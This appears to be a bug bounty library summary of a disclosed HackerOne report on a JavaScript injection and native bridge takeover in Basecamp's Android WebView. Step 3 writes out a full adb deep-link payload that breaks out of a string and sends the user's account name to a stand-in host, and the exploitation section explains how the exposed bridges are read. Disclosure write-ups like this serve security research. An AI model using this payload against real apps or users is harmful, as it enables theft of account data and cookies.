# com.basecamp.bc3 Webview Javascript Injection and JS bridge takeover

Basecamp Android app's WebView loads unsanitized deep-link URLs with JS enabled and native bridges exposed, letting an attacker inject JS to exfiltrate account data and cookies.

- Payout: hidden
- Severity: high
- Program: Basecamp
- Found by: fr4via
- Disclosed: 2022-09-23
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1343300
- Library page: https://bugbountylibrary.com/r/h1%3A1343300
- Tags: area:mobile domain:mobile impact:data-leak impact:pii-leak kind:bounty platform:hackerone sev:high tech:android technique:source-review vuln:info-disclosure vuln:xss

**Target:** Android app com.basecamp.bc3 WebView deep-link handler
**Root cause:** The WebView loads URLs from an intent deep link without sanitizing them, and JavaScript is enabled with native JS interfaces (nativeBridge, NativeApp, TurboNative) exposed to any loaded page.
**Steps:**
1. Create a Basecamp account and project
2. Open a sub-project tab once to initialize the JS interface
3. Run `adb shell am start -W -a android.intent.action.VIEW -d 'https://3.basecamp.com/XXXXX/p","advance","---"); /* comment */ window.location.replace("https://example.com?exfiltration="+nativeBridge.getPage().accountName); //'`
4. Observe `GET /?exfiltration=USER_EMAIL@gmail.com` on the attacker host
**How found:** Researcher noticed the WebView loads deep-link URLs unsanitized while JavaScript and native JS interfaces are enabled, then tested string-breakout injection through the URL parameter.
**Exploitation:** Attacker crafts a deep-link URL that breaks out of the injected string context and executes arbitrary JS in the WebView; the JS calls exposed bridge methods like nativeBridge.getPage() to read accountName, bucketName, title, and exfiltrates via window.location.replace to an attacker-controlled host.
**Escalation:** Bridge access (class a.a.a.s.g via NativeApp) extends impact from data leak to potential native code access, affecting confidentiality, integrity and availability.
**Insight:** When an Android app exposes @JavascriptInterface bridges, check whether deep-link/URL parameters reach the WebView without sanitization—a quote/paren breakout in the URL can execute JS with full bridge access even on trusted domains.